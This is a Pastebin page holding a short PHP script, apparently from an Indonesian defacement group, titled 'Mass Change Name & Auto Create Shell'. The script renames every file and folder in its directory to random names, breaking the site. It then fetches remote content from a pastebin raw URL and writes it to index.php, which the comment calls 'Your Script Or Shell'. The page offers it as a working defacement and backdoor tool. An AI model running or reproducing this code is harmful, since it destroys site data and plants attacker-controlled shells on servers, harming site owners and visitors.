St0epaCode

Mass Change Name & Auto Create Shell

Sep 30th, 2018
733
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. // Pennywise - { IndoSec Coder Team }
  5. // Greetz : Brilly4n, Andri, Sandra, Fadhli, Revan, All Member IndoSec
  6.  
  7.  
  8. $dir = getcwd();
  9.  
  10. $lol = scandir($dir);
  11. foreach ($lol as $lul) {
  12.    
  13.     $ha = '';
  14.     $random = rand(1, 100);
  15.  if($lul != "." AND $lul != ".."){
  16.     if(is_dir($lul)) {
  17.         // Nama Folder
  18.         rename($lul, 'Pennywise'.$random);
  19.         $ha = "<script>alert('SUKSES');</script>";
  20.     } else {
  21.         // Nama File
  22.         rename($lul, 'IndoSec'.$random);
  23.         $ha = "<script>alert('SUKSES');</script>";
  24.     }
  25. }
  26. }
  27. // Your Script Or Shell
  28. $ini = file_get_contents("https://pastebin.com/raw/hHBdakNJ");
  29. // Nama File Untuk Script Atau Shell
  30. file_put_contents("index.php", $ini);
  31. echo $ha;
  32. ?>
Advertisement
Add Comment
Please, Sign In to add comment